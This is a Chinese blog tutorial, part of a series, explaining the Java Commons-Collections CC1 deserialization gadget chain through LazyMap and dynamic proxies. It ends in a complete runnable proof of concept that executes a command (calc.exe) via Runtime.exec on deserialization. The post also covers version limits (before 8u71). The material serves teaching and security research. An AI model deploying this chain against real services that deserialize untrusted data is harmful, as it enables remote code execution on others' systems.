Loading

java安全之CC1浅学(3)

前言

有了前面两篇,对Java反序列化导致的RCE有一定认识了。但是在ysoserialCC1的利用链和上一篇介绍的不同啊,严格来说上面的不算CC1利用链,因为CC1利用链应该用的是LazyMap而不是TransformedMap

TransformedMap的出处:

Lib之过?Java反序列化漏洞通用利用分析 (chaitin.cn)

LazyMap

LazyMapTransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator

区别就是TransformedMap是在写入元素的时候执行会transform,而LazyMap是在其get方法中执行的factory.transform 。因为LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用factory.transform方法去获取一个值。

public Object get(Object key) {
  // create value for key if key is not currently in the map
   if (map.containsKey(key) == false) {
      Object value = factory.transform(key);
      map.put(key, value);
   	return value;
  }
   return map.get(key);
}

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到 Map的get方法

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

image-20221110173935365

那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java的对象代理

Java对象代理

举一个简单的例子,供货商发货给超市,我们去超市买东西。

此时超市就相当于一个代理,我们可以直接去供货商买东西,但没多少人会这么做。

在Java中的代理模式也是一样,我们需要定义一个接口,这个接口不可以直接被实例化,需要通过类去实现这个接口,才可以实现对这个接口中方法的调用

而动态代理实现了不需要中间商(类),直接“创建”某个接口的实例,对其方法进行调用

当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容。

需要使用 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

比如我们写这样一个类ExampleInvocationHandler

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws
            Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("HookMethod:" + method.getName());
            return "Hacker";
        }
        return method.invoke(this.map, args);
    }
}

ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串Hacker

在外部调用这个ExampleInvocationHandler

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new
                HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

这里首先定义了一个handler,通过其实现对某个类接口的调用。

接着定义了一个代理对象proxyMap

运行App,我们可以发现,虽然我向Map放入的hello值为world,但我们获取到的结果却是 Hacker

image-20221110182808974

我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get

构造利用链

在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap替换 TransformedMap:

TransformedMapMap outerMap = LazyMap.decorate(innerMap, transformerChain);

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

所以,结合上述的一些修改,构造的POC如下:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new String[]{"calc.exe"}
                )};
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chain);


        Class cls =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
                new Class[]{Map.class},handler);

        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

改进

这里高版本依旧不能命令执行,可以看到序列化成功了,但反序列化报错

image-20221110193703184

还是使用8U71之前的版本才能成功命令执行,

image-20221110191525181

在调试上述POC的时候,发现弹出了两个计算器,原因是什么呢?有可能是没到有执行到readObject的时候就弹出了计算器。

在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致触发命令

ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain 中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次 Proxy#invoke ):

image-20221110193946459

小结

分析了利用LazyMap来构造了POC,但是LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。

高版本的Java遇到CommonCollections,到底如何解决呢?

posted @ 2022-11-10 19:41  gk0d  阅读(181)  评论(0编辑  收藏  举报